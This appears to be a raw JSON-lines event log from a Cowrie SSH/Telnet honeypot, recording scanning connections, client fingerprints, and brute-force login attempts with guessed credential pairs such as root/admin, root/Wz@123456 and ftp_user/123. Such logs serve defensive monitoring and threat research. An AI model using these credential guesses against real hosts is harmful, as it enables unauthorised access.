{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:04.271371Z","src_ip":"96.78.175.36","session":"81be3b5651e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.42778038978577,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:05.159192Z","src_ip":"193.22.147.168","session":"e1e413c4d8a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.922154664993286,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:07.308411Z","src_ip":"193.22.147.168","session":"c390cf017b0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.56462383270264,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:07.925082Z","src_ip":"193.22.147.168","session":"756b21deee4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.205.172.170","src_port":51590,"dst_ip":"10.17.0.5","dst_port":22,"session":"17a489e86c94","protocol":"ssh","message":"New connection: 88.205.172.170:51590 (10.17.0.5:22) [session: 17a489e86c94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:08.979042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:09.007923Z","src_ip":"88.205.172.170","session":"17a489e86c94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:09.162033Z","src_ip":"88.205.172.170","session":"17a489e86c94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp_user","password":"123","message":"login attempt [ftp_user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:09.781214Z","src_ip":"88.205.172.170","session":"17a489e86c94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:10.942563Z","src_ip":"88.205.172.170","session":"17a489e86c94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.204","src_port":54364,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac72ccf1ce6d","protocol":"telnet","message":"New connection: 192.109.200.204:54364 (10.17.0.5:23) [session: ac72ccf1ce6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:14.474443Z"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:14.663745Z","src_ip":"192.109.200.204","session":"ac72ccf1ce6d","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:14.727231Z","src_ip":"192.109.200.204","session":"ac72ccf1ce6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":37046,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb26ce78f9ea","protocol":"telnet","message":"New connection: 161.132.53.68:37046 (159.203.135.109:23) [session: cb26ce78f9ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:23.606813Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":58512,"dst_ip":"10.17.0.5","dst_port":23,"session":"70e30f690014","protocol":"telnet","message":"New connection: 193.22.147.168:58512 (10.17.0.5:23) [session: 70e30f690014]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:24.990263Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":58522,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5e5bdd8b96f","protocol":"telnet","message":"New connection: 193.22.147.168:58522 (10.17.0.5:23) [session: e5e5bdd8b96f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:25.471107Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":39324,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0ccf718496c","protocol":"telnet","message":"New connection: 161.132.53.68:39324 (159.203.135.109:23) [session: a0ccf718496c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:41.126412Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":39340,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff98d7356913","protocol":"telnet","message":"New connection: 161.132.53.68:39340 (159.203.135.109:23) [session: ff98d7356913]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:41.752466Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":56892,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a556018db79","protocol":"telnet","message":"New connection: 193.22.147.168:56892 (10.17.0.5:23) [session: 2a556018db79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:43.097315Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":58496,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c716515c99a","protocol":"telnet","message":"New connection: 193.22.147.168:58496 (10.17.0.5:23) [session: 9c716515c99a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:53.237468Z"}
{"eventid":"cowrie.session.closed","duration":0.0041484832763671875,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:53.241531Z","src_ip":"193.22.147.168","session":"9c716515c99a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.546309232711792,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:55.153016Z","src_ip":"161.132.53.68","session":"cb26ce78f9ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"96.78.175.36","src_port":41028,"dst_ip":"10.17.0.5","dst_port":22,"session":"a956da0a5e1f","protocol":"ssh","message":"New connection: 96.78.175.36:41028 (10.17.0.5:22) [session: a956da0a5e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:56.329981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:56.338478Z","src_ip":"96.78.175.36","session":"a956da0a5e1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:56.428541Z","src_ip":"96.78.175.36","session":"a956da0a5e1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wangbo","message":"login attempt [root/wangbo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:56.793631Z","src_ip":"96.78.175.36","session":"a956da0a5e1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.21621060371399,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:57.687187Z","src_ip":"193.22.147.168","session":"e5e5bdd8b96f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:57.882513Z","src_ip":"96.78.175.36","session":"a956da0a5e1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.46637320518494,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:59.456505Z","src_ip":"193.22.147.168","session":"70e30f690014","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":43032,"dst_ip":"159.203.135.109","dst_port":23,"session":"73d890e15699","protocol":"telnet","message":"New connection: 161.132.53.68:43032 (159.203.135.109:23) [session: 73d890e15699]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:56:59.806199Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":52234,"dst_ip":"10.17.0.5","dst_port":23,"session":"35e38f935965","protocol":"telnet","message":"New connection: 193.22.147.168:52234 (10.17.0.5:23) [session: 35e38f935965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:57:00.525321Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.69","src_port":56310,"dst_ip":"159.203.135.109","dst_port":22,"session":"105a4e0ff703","protocol":"ssh","message":"New connection: 165.154.6.69:56310 (159.203.135.109:22) [session: 105a4e0ff703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:57:02.398397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:57:02.403247Z","src_ip":"165.154.6.69","session":"105a4e0ff703","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:57:02.621317Z","src_ip":"165.154.6.69","session":"105a4e0ff703","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wz@123456","message":"login attempt [root/Wz@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:57:03.526109Z","src_ip":"165.154.6.69","session":"105a4e0ff703","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:57:04.749343Z","src_ip":"165.154.6.69","session":"105a4e0ff703","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.356332540512085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:57:12.108713Z","src_ip":"161.132.53.68","session":"ff98d7356913","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.35148596763611,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:57:13.477787Z","src_ip":"161.132.53.68","session":"a0ccf718496c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":52248,"dst_ip":"10.17.0.5","dst_port":23,"session":"d12cb19e9573","protocol":"telnet","message":"New connection: 193.22.147.168:52248 (10.17.0.5:23) [session: d12cb19e9573]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:57:14.265064Z"}
{"eventid":"cowrie.session.closed","duration":31.64506196975708,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:57:14.742263Z","src_ip":"193.22.147.168","session":"2a556018db79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":40838,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ebfdb388ed7","protocol":"telnet","message":"New connection: 161.132.53.68:40838 (159.203.135.109:23) [session: 3ebfdb388ed7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:57:30.156632Z"}
{"eventid":"cowrie.session.closed","duration":31.926432132720947,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:57:31.732544Z","src_ip":"161.132.53.68","session":"73d890e15699","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.245714902877808,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:57:31.770897Z","src_ip":"193.22.147.168","session":"35e38f935965","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":40854,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9ac9f6cdba1","protocol":"telnet","message":"New connection: 161.132.53.68:40854 (159.203.135.109:23) [session: f9ac9f6cdba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:57:31.795816Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":58610,"dst_ip":"159.203.135.109","dst_port":23,"session":"e998dd17a2a3","protocol":"telnet","message":"New connection: 161.132.53.68:58610 (159.203.135.109:23) [session: e998dd17a2a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:57:45.756060Z"}
{"eventid":"cowrie.session.closed","duration":31.94012689590454,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:57:46.205090Z","src_ip":"193.22.147.168","session":"d12cb19e9573","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"96.78.175.36","src_port":54832,"dst_ip":"10.17.0.5","dst_port":22,"session":"e80232a7e1f0","protocol":"ssh","message":"New connection: 96.78.175.36:54832 (10.17.0.5:22) [session: e80232a7e1f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:57:50.366680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:57:50.380181Z","src_ip":"96.78.175.36","session":"e80232a7e1f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:57:50.469815Z","src_ip":"96.78.175.36","session":"e80232a7e1f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin!23$","message":"login attempt [root/admin!23$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:57:50.832942Z","src_ip":"96.78.175.36","session":"e80232a7e1f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":53856,"dst_ip":"159.203.135.109","dst_port":23,"session":"45891af691f2","protocol":"telnet","message":"New connection: 161.132.53.68:53856 (159.203.135.109:23) [session: 45891af691f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:57:51.127354Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":53870,"dst_ip":"159.203.135.109","dst_port":23,"session":"0111f5f2c7b4","protocol":"telnet","message":"New connection: 161.132.53.68:53870 (159.203.135.109:23) [session: 0111f5f2c7b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:57:51.323168Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:57:51.931620Z","src_ip":"96.78.175.36","session":"e80232a7e1f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":59438,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c3c8b893fdc","protocol":"telnet","message":"New connection: 193.22.147.168:59438 (10.17.0.5:23) [session: 0c3c8b893fdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:57:54.199715Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.69","src_port":41626,"dst_ip":"159.203.135.109","dst_port":22,"session":"00d1f2b413ce","protocol":"ssh","message":"New connection: 165.154.6.69:41626 (159.203.135.109:22) [session: 00d1f2b413ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:57:58.689971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:57:58.695223Z","src_ip":"165.154.6.69","session":"00d1f2b413ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:57:58.914217Z","src_ip":"165.154.6.69","session":"00d1f2b413ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"20","message":"login attempt [user/20] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:57:59.821175Z","src_ip":"165.154.6.69","session":"00d1f2b413ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:58:01.043309Z","src_ip":"165.154.6.69","session":"00d1f2b413ce","protocol":"ssh"}
